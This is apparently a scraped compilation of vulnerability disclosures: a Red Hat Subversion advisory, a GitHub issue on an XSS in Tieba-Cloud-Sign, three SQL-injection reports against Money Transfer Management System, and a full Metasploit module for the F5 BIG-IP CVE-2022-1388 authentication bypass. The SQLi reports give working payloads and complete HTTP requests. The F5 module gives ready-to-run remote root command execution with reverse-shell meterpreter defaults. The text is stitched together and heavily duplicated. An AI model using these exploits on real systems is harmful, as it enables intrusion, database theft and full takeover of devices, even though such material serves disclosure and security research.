Red Hat Security Advisory 2022-2237-01 - Subversion is a concurrent version control system which enables one or more users to collaborate in developing and maintaining a hierarchy of files and directories while keeping a history of all changes.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Important: subversion:1.10 security update  
Advisory ID:       RHSA-2022:2237-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:2237  
Issue date:        2022-05-12  
CVE Names:         CVE-2022-24070  
====================================================================  
1. Summary:

An update for the subversion:1.10 module is now available for Red Hat  
Enterprise Linux 8.1 Update Services for SAP Solutions.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream E4S (v. 8.1) - aarch64, noarch, ppc64le, s390x, x86_64

3. Description:

Subversion (SVN) is a concurrent version control system which enables one  
or more users to collaborate in developing and maintaining a hierarchy of  
files and directories while keeping a history of all changes.

Security Fix(es):

* subversion: Subversion's mod_dav_svn is vulnerable to memory corruption  
(CVE-2022-24070)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

After installing the updated packages, for the update to take effect, you  
must restart the httpd daemon, if you are using mod_dav_svn, and the  
svnserve daemon, if you are serving Subversion repositories via the svn://  
protocol.

5. Bugs fixed (https://bugzilla.redhat.com/):

2074772 - CVE-2022-24070 subversion: Subversion's mod_dav_svn is vulnerable to memory corruption

6. Package List:

Red Hat Enterprise Linux AppStream E4S (v. 8.1):

Source:  
libserf-1.3.9-9.module+el8.1.0+9889+0a9c19c4.src.rpm  
subversion-1.10.2-3.module+el8.1.0+15169+c14f14c4.src.rpm  
utf8proc-2.1.1-5.module+el8.1.0+9889+0a9c19c4.src.rpm

aarch64:  
libserf-1.3.9-9.module+el8.1.0+9889+0a9c19c4.aarch64.rpm  
libserf-debuginfo-1.3.9-9.module+el8.1.0+9889+0a9c19c4.aarch64.rpm  
libserf-debugsource-1.3.9-9.module+el8.1.0+9889+0a9c19c4.aarch64.rpm  
mod_dav_svn-1.10.2-3.module+el8.1.0+15169+c14f14c4.aarch64.rpm  
mod_dav_svn-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.aarch64.rpm  
subversion-1.10.2-3.module+el8.1.0+15169+c14f14c4.aarch64.rpm  
subversion-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.aarch64.rpm  
subversion-debugsource-1.10.2-3.module+el8.1.0+15169+c14f14c4.aarch64.rpm  
subversion-devel-1.10.2-3.module+el8.1.0+15169+c14f14c4.aarch64.rpm  
subversion-devel-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.aarch64.rpm  
subversion-gnome-1.10.2-3.module+el8.1.0+15169+c14f14c4.aarch64.rpm  
subversion-gnome-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.aarch64.rpm  
subversion-libs-1.10.2-3.module+el8.1.0+15169+c14f14c4.aarch64.rpm  
subversion-libs-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.aarch64.rpm  
subversion-perl-1.10.2-3.module+el8.1.0+15169+c14f14c4.aarch64.rpm  
subversion-perl-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.aarch64.rpm  
subversion-tools-1.10.2-3.module+el8.1.0+15169+c14f14c4.aarch64.rpm  
subversion-tools-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.aarch64.rpm  
utf8proc-2.1.1-5.module+el8.1.0+9889+0a9c19c4.aarch64.rpm  
utf8proc-debuginfo-2.1.1-5.module+el8.1.0+9889+0a9c19c4.aarch64.rpm  
utf8proc-debugsource-2.1.1-5.module+el8.1.0+9889+0a9c19c4.aarch64.rpm

noarch:  
subversion-javahl-1.10.2-3.module+el8.1.0+15169+c14f14c4.noarch.rpm

ppc64le:  
libserf-1.3.9-9.module+el8.1.0+9889+0a9c19c4.ppc64le.rpm  
libserf-debuginfo-1.3.9-9.module+el8.1.0+9889+0a9c19c4.ppc64le.rpm  
libserf-debugsource-1.3.9-9.module+el8.1.0+9889+0a9c19c4.ppc64le.rpm  
mod_dav_svn-1.10.2-3.module+el8.1.0+15169+c14f14c4.ppc64le.rpm  
mod_dav_svn-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.ppc64le.rpm  
subversion-1.10.2-3.module+el8.1.0+15169+c14f14c4.ppc64le.rpm  
subversion-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.ppc64le.rpm  
subversion-debugsource-1.10.2-3.module+el8.1.0+15169+c14f14c4.ppc64le.rpm  
subversion-devel-1.10.2-3.module+el8.1.0+15169+c14f14c4.ppc64le.rpm  
subversion-devel-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.ppc64le.rpm  
subversion-gnome-1.10.2-3.module+el8.1.0+15169+c14f14c4.ppc64le.rpm  
subversion-gnome-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.ppc64le.rpm  
subversion-libs-1.10.2-3.module+el8.1.0+15169+c14f14c4.ppc64le.rpm  
subversion-libs-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.ppc64le.rpm  
subversion-perl-1.10.2-3.module+el8.1.0+15169+c14f14c4.ppc64le.rpm  
subversion-perl-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.ppc64le.rpm  
subversion-tools-1.10.2-3.module+el8.1.0+15169+c14f14c4.ppc64le.rpm  
subversion-tools-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.ppc64le.rpm  
utf8proc-2.1.1-5.module+el8.1.0+9889+0a9c19c4.ppc64le.rpm  
utf8proc-debuginfo-2.1.1-5.module+el8.1.0+9889+0a9c19c4.ppc64le.rpm  
utf8proc-debugsource-2.1.1-5.module+el8.1.0+9889+0a9c19c4.ppc64le.rpm

s390x:  
libserf-1.3.9-9.module+el8.1.0+9889+0a9c19c4.s390x.rpm  
libserf-debuginfo-1.3.9-9.module+el8.1.0+9889+0a9c19c4.s390x.rpm  
libserf-debugsource-1.3.9-9.module+el8.1.0+9889+0a9c19c4.s390x.rpm  
mod_dav_svn-1.10.2-3.module+el8.1.0+15169+c14f14c4.s390x.rpm  
mod_dav_svn-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.s390x.rpm  
subversion-1.10.2-3.module+el8.1.0+15169+c14f14c4.s390x.rpm  
subversion-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.s390x.rpm  
subversion-debugsource-1.10.2-3.module+el8.1.0+15169+c14f14c4.s390x.rpm  
subversion-devel-1.10.2-3.module+el8.1.0+15169+c14f14c4.s390x.rpm  
subversion-devel-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.s390x.rpm  
subversion-gnome-1.10.2-3.module+el8.1.0+15169+c14f14c4.s390x.rpm  
subversion-gnome-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.s390x.rpm  
subversion-libs-1.10.2-3.module+el8.1.0+15169+c14f14c4.s390x.rpm  
subversion-libs-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.s390x.rpm  
subversion-perl-1.10.2-3.module+el8.1.0+15169+c14f14c4.s390x.rpm  
subversion-perl-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.s390x.rpm  
subversion-tools-1.10.2-3.module+el8.1.0+15169+c14f14c4.s390x.rpm  
subversion-tools-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.s390x.rpm  
utf8proc-2.1.1-5.module+el8.1.0+9889+0a9c19c4.s390x.rpm  
utf8proc-debuginfo-2.1.1-5.module+el8.1.0+9889+0a9c19c4.s390x.rpm  
utf8proc-debugsource-2.1.1-5.module+el8.1.0+9889+0a9c19c4.s390x.rpm

x86_64:  
libserf-1.3.9-9.module+el8.1.0+9889+0a9c19c4.x86_64.rpm  
libserf-debuginfo-1.3.9-9.module+el8.1.0+9889+0a9c19c4.x86_64.rpm  
libserf-debugsource-1.3.9-9.module+el8.1.0+9889+0a9c19c4.x86_64.rpm  
mod_dav_svn-1.10.2-3.module+el8.1.0+15169+c14f14c4.x86_64.rpm  
mod_dav_svn-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.x86_64.rpm  
subversion-1.10.2-3.module+el8.1.0+15169+c14f14c4.x86_64.rpm  
subversion-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.x86_64.rpm  
subversion-debugsource-1.10.2-3.module+el8.1.0+15169+c14f14c4.x86_64.rpm  
subversion-devel-1.10.2-3.module+el8.1.0+15169+c14f14c4.x86_64.rpm  
subversion-devel-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.x86_64.rpm  
subversion-gnome-1.10.2-3.module+el8.1.0+15169+c14f14c4.x86_64.rpm  
subversion-gnome-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.x86_64.rpm  
subversion-libs-1.10.2-3.module+el8.1.0+15169+c14f14c4.x86_64.rpm  
subversion-libs-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.x86_64.rpm  
subversion-perl-1.10.2-3.module+el8.1.0+15169+c14f14c4.x86_64.rpm  
subversion-perl-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.x86_64.rpm  
subversion-tools-1.10.2-3.module+el8.1.0+15169+c14f14c4.x86_64.rpm  
subversion-tools-debuginfo-1.10.2-3.module+el8.1.0+15169+c14f14c4.x86_64.rpm  
utf8proc-2.1.1-5.module+el8.1.0+9889+0a9c19c4.x86_64.rpm  
utf8proc-debuginfo-2.1.1-5.module+el8.1.0+9889+0a9c19c4.x86_64.rpm  
utf8proc-debugsource-2.1.1-5.module+el8.1.0+9889+0a9c19c4.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-24070  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYn0zB9zjgjWX9erEAQhxeBAApdAY7v0pWKOaHrwL/jyDtl4vOUJIkNqJ  
eGGAh0Hkqx0C7EyRdcK/Be4sA4hf/p3nCoNM3j4t5x4tp68Em+Pca3xvI8JB1ZaP  
Xth05R+H4JtF/P0dZAqFFE6bz1NXtSZFDi9dYdDO61+Rvwzh3rjkk7Y6s0wLqv8U  
rbHmdeMTSv29Xts3p+jaERyOArehFGbu/O5baTpzxPgFB+4PT8kn/cD388kFT4yq  
/vVYQd1P1F7YIUvpDUJZ3hd0xD+eSdIspj2E993A8ZYmcs+/Vlls9ZqRrh1PECsH  
ob43yPoQZviiR/Cf8rVOn0z1B8wMHBerIFSirnop3TI3bh13HXC1m1u4p8PuJo3r  
g15PAwMObhFY2Lng8/rYHIFSVtG3Kq2BpvxE1YlhiKaXN05uuXm6LJwdp1/d/Zyn  
WZ9e3Qz6P+9FQipa1VJOXywuQd+7z6LGlauVOFSE1ygZD5sz4emChrazDzsulSVa  
AjqqspxG/vsP2M2Uv24oH1U7X+znKjsgVHipG1vOFx36forA15C4w1zVFDUOyBA3  
i9/epfF0UZBf1mXvFivko8VlXHlOMSdb7hvKGxzCh5sMmf0DwPcBCNhoduPV+hTJ  
YNb659CEKyanABykQVoeSGMyNRkiIN0cY0zqNvuJ+BqcWJlXXChfbqquDtrcEfp9  
4b1VTFMy6Kk=8/Kr  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-2237-01

Tieba-Cloud-Sign v4.9 was discovered to contain a cross-site scripting (XSS) vulnerability via the function strip_tags.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

**Possible XSS vulnerability #156**

Open

enferas opened this issue

Apr 6, 2022

· 3 comments

**Comments**

Hello,

I would like to report for XSS vulnerability.

In file https://github.com/MoeNetwork/Tieba-Cloud-Sign/blob/master/templates/control.php line 53.

case 'setplug':
  $plug = strip\_tags($\_GET\['plug'\]);
  $pluginfo = getPluginInfo($plug);

Then, there is an echo in line 62.

echo '<a href="'.$pluginfo\['plugin'\]\['url'\].'" target="\_blank">';

strip\_tags is not secure in this case. If you can look to this code example the alert will be printed when you press on the link.

<?php
$x = "'javascript:alert()'";
$y = strip\_tags($x);
echo "<a href=$x>ClickMe</a>";

if (ROLE != 'admin') msg('权限不足！');

if (!file\_exists($path . $plugin . '.php')) {

return false;

}

这是一个没有想象中严重的漏洞，我们在前面设置了权限检查挡住了非admin用户的访问，此外文件存在性检查会确保不存在的插件不会被加载，因此触发这个漏洞的需要：

*   用户为**管理员**
*   使用了带有恶意外部链接的插件

**感谢您的反馈，我们将会在晚些时候进行修复**

_translated by deepl.com_

if (ROLE != 'admin') msg('权限不足！');

if (!file\_exists($path . $plugin . '.php')) {

return false;

}

This is not as serious a vulnerability as you might think, we set up a permission check earlier to block access by non-admin users, in addition the file existence check will ensure that non-existent plugins will not be loaded, so two conditions are required to trigger this vulnerability

*   The user is an **administrator**
*   A plugin with a malicious url is used

**Thank you for your feedback, we will fix it later**

> if (ROLE != 'admin') msg('权限不足！');
> 
> if (!file\_exists($path . $plugin . '.php')) {
> 
> return false;
> 
> }
> 
> 这是一个没有想象中严重的漏洞，我们在前面设置了权限检查挡住了非admin用户的访问，此外文件存在性检查会确保不存在的插件不会被加载，因此触发这个漏洞的需要：
> 
> *   用户为**管理员**
> *   使用了带有恶意外部链接的插件
> 
> **感谢您的反馈，我们将会在晚些时候进行修复**
> 
> _translated by deepl.com_
> 
> if (ROLE != 'admin') msg('权限不足！');
> 
> if (!file\_exists($path . $plugin . '.php')) {
> 
> return false;
> 
> }
> 
> This is not as serious a vulnerability as you might think, we set up a permission check earlier to block access by non-admin users, in addition the file existence check will ensure that non-existent plugins will not be loaded, so two conditions are required to trigger this vulnerability
> 
> *   The user is an **administrator**
> *   A plugin with a malicious url is used
> 
> **Thank you for your feedback, we will fix it later**

礼貌问询deepl.com中译英和英译中效果怎么样

Copy link

Collaborator

** **n0099** commented May 16, 2022**

> 礼貌问询deepl.com中译英和英译中效果怎么样

您已经看到了

CVE-2022-28920: Possible XSS vulnerability · Issue #156 · MoeNetwork/Tieba-Cloud-Sign

**Comments**

Hello,

I would like to report for XSS vulnerability.

In file https://github.com/MoeNetwork/Tieba-Cloud-Sign/blob/master/templates/control.php line 53.

case 'setplug':
  $plug = strip\_tags($\_GET\['plug'\]);
  $pluginfo = getPluginInfo($plug);

Then, there is an echo in line 62.

echo '<a href="'.$pluginfo\['plugin'\]\['url'\].'" target="\_blank">';

strip\_tags is not secure in this case. If you can look to this code example the alert will be printed when you press on the link.

<?php
$x = "'javascript:alert()'";
$y = strip\_tags($x);
echo "<a href=$x>ClickMe</a>";

if (ROLE != 'admin') msg('权限不足！');

if (!file\_exists($path . $plugin . '.php')) {

return false;

}

这是一个没有想象中严重的漏洞，我们在前面设置了权限检查挡住了非admin用户的访问，此外文件存在性检查会确保不存在的插件不会被加载，因此触发这个漏洞的需要：

*   用户为**管理员**
*   使用了带有恶意外部链接的插件

**感谢您的反馈，我们将会在晚些时候进行修复**

_translated by deepl.com_

if (ROLE != 'admin') msg('权限不足！');

if (!file\_exists($path . $plugin . '.php')) {

return false;

}

This is not as serious a vulnerability as you might think, we set up a permission check earlier to block access by non-admin users, in addition the file existence check will ensure that non-existent plugins will not be loaded, so two conditions are required to trigger this vulnerability

*   The user is an **administrator**
*   A plugin with a malicious url is used

**Thank you for your feedback, we will fix it later**

Money Transfer Management System 1.0 is vulnerable to SQL Injection via \mtms\classes\Master.php?f=delete_fee.

Permalink

Cannot retrieve contributors at this time

**Money Transfer Management System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15015/money-transfer-management-system-send-money-businesses-php-free-source-code.html

Vulnerability File: \\mtms\\classes\\Master.php?f=delete\_fee

Vulnerability location: /mtms/classes/Master.php?f=delete\_fee, id

\[+\] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /mtms/classes/Master.php?f\=delete\_fee HTTP/1.1
Host: 192.168.1.19
Content\-Length: 65
Accept: application/json, text/javascript, \*/\*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
Referer: http://192.168.1.19/mtms/admin/?page=maintenance/fee
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bnvs2lhahed1884v0nf12nt52s
Connection: close
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

CVE-2022-29741: bug_report/SQLi-4.md at main · k0xx11/bug_report

Money Transfer Management System 1.0 is vulnerable to SQL Injection via \mtms\classes\Master.php?f=delete_transaction.

Permalink

Cannot retrieve contributors at this time

**Money Transfer Management System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15015/money-transfer-management-system-send-money-businesses-php-free-source-code.html

Vulnerability File: \\mtms\\classes\\Master.php?f=delete\_transaction

Vulnerability location: /mtms/classes/Master.php?f=delete\_transaction, id

\[+\] Payload: id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /mtms/classes/Master.php?f\=delete\_transaction HTTP/1.1
Host: 192.168.1.19
Content\-Length: 65
Accept: application/json, text/javascript, \*/\*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
Referer: http://192.168.1.19/mtms/admin/?page=transaction
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bnvs2lhahed1884v0nf12nt52s
Connection: close
id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

CVE-2022-29745: bug_report/SQLi-5.md at main · k0xx11/bug_report

Money Transfer Management System 1.0 is vulnerable to SQL Injection via /mtms/classes/Users.php?f=delete.

Permalink

Cannot retrieve contributors at this time

**Money Transfer Management System v1.0 by oretnom23 has SQL injection**

**Author：** k0xx

vendors: https://www.sourcecodester.com/php/15015/money-transfer-management-system-send-money-businesses-php-free-source-code.html

Vulnerability File: /mtms/classes/Users.php?f=delete

Vulnerability location: /mtms/classes/Users.php?f=delete,id

\[+\] Payload: id=2' and length(database()) =7 --+ // Leak place ---> id

Current database name: mtms\_db,length is 7

POST /mtms/classes/Users.php?f\=delete HTTP/1.1
Host: 192.168.1.19
Content\-Length: 35
Accept: application/json, text/javascript, \*/\*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
Referer: http://192.168.1.19/mtms/admin/?page=user/list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bnvs2lhahed1884v0nf12nt52s
Connection: close
id=2' and length(database()) =7 --+ // Leak place ---> id

When length (database ()) = 7, Content-Length: 19 

When length (database ()) = 8, Content-Length: 169

CVE-2022-29746: bug_report/SQLi-6.md at main · k0xx11/bug_report

This Metasploit module exploits an authentication bypass vulnerability in the F5 BIG-IP iControl REST service to gain access to the admin account, which is capable of executing commands through the /mgmt/tm/util/bash endpoint. Successful exploitation results in remote code execution as the root user.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'F5 BIG-IP iControl RCE via REST Authentication Bypass',        'Description' => %q{          This module exploits an authentication bypass vulnerability          in the F5 BIG-IP iControl REST service to gain access to the          admin account, which is capable of executing commands          through the /mgmt/tm/util/bash endpoint.          Successful exploitation results in remote code execution          as the root user.        },        'Author' => [          'Heyder Andrade', # Metasploit module          'alt3kx <alt3kx[at]protonmail.com>', # PoC          'James Horseman', # Technical Writeup          'Ron Bowes' # Documentation of exploitation specifics        ],        'References' => [          ['CVE', '2022-1388'],          ['URL', 'https://support.f5.com/csp/article/K23605346'],          ['URL', 'https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/'], # Writeup          ['URL', 'https://github.com/alt3kx/CVE-2022-1388_PoC'] # PoC        ],        'License' => MSF_LICENSE,        'DisclosureDate' => '2022-05-04', # Vendor advisory        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],        'Privileged' => true,        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :linux_dropper,              'DefaultOptions' => {                'CMDSTAGER::FLAVOR' => :bourne,                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 1, # Linux Dropper avoids some timeout issues that Unix Command payloads sometimes encounter.        'DefaultOptions' => {          'RPORT' => 443,          'SSL' => true,          'PrependFork' => true, # Needed to avoid warnings about timeouts and potential failures across attempts.          'MeterpreterTryToFork' => true # Needed to avoid warnings about timeouts and potential failures across attempts.        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION], # Only one concurrent session          'SideEffects' => [            IOC_IN_LOGS, # /var/log/restjavad.0.log (rotated)            ARTIFACTS_ON_DISK # CmdStager          ]        }      )    )    register_options(      [        OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']),        OptString.new('HttpUsername', [true, 'iControl username', 'admin']),        OptString.new('HttpPassword', [true, 'iControl password', ''])      ]    )    register_advanced_options([      OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])    ])  end  def check    print_status("Checking #{datastore['RHOST']}:#{datastore['RPORT']}")    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, '/mgmt/shared/authn/login'),      'method' => 'GET'    })    return CheckCode::Unknown unless res&.code == 401    body = res.get_json_document    return CheckCode::Safe unless body.key?('message') && body['kind'] == ':resterrorresponse'    signature = Rex::Text.rand_text_alpha(13)    stub = "echo #{signature}"    res = send_command(stub)    return CheckCode::Safe unless res&.code == 200    body = res.get_json_document    return CheckCode::Safe unless body['kind'] == 'tm:util:bash:runstate'    return CheckCode::Vulnerable if body['commandResult'].chomp == signature    CheckCode::Safe  end  def exploit    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    case target['Type']    when :unix_cmd      execute_command(payload.encoded)    when :linux_dropper      execute_cmdstager    end  end  def execute_command(cmd, _opts = {})    vprint_status("Executing command: #{cmd}")    res = send_command(cmd)    unless res      print_warning('Command execution timed out')      return    end    json = res.get_json_document    unless res.code == 200 && json['kind'] == 'tm:util:bash:runstate'      fail_with(Failure::PayloadFailed, 'Failed to execute command')    end    print_good('Successfully executed command')    return unless (cmd_result = json['commandResult'])    vprint_line(cmd_result)  end  def send_command(cmd)    bash_cmd = "eval $(echo #{Rex::Text.encode_base64(cmd)} | base64 -d)"    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/mgmt/tm/util/bash'),      'ctype' => 'application/json',      'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),      'headers' => {        'Host' => 'localhost',        'Connection' => 'keep-alive, X-F5-Auth-Token',        'X-F5-Auth-Token' => Rex::Text.rand_text_alpha_lower(6)      },      'data' => {        'command' => 'run',        'utilCmdArgs' => "-c '#{bash_cmd}'"      }.to_json    }, datastore['CmdExecTimeout'])  endend

Tag

#java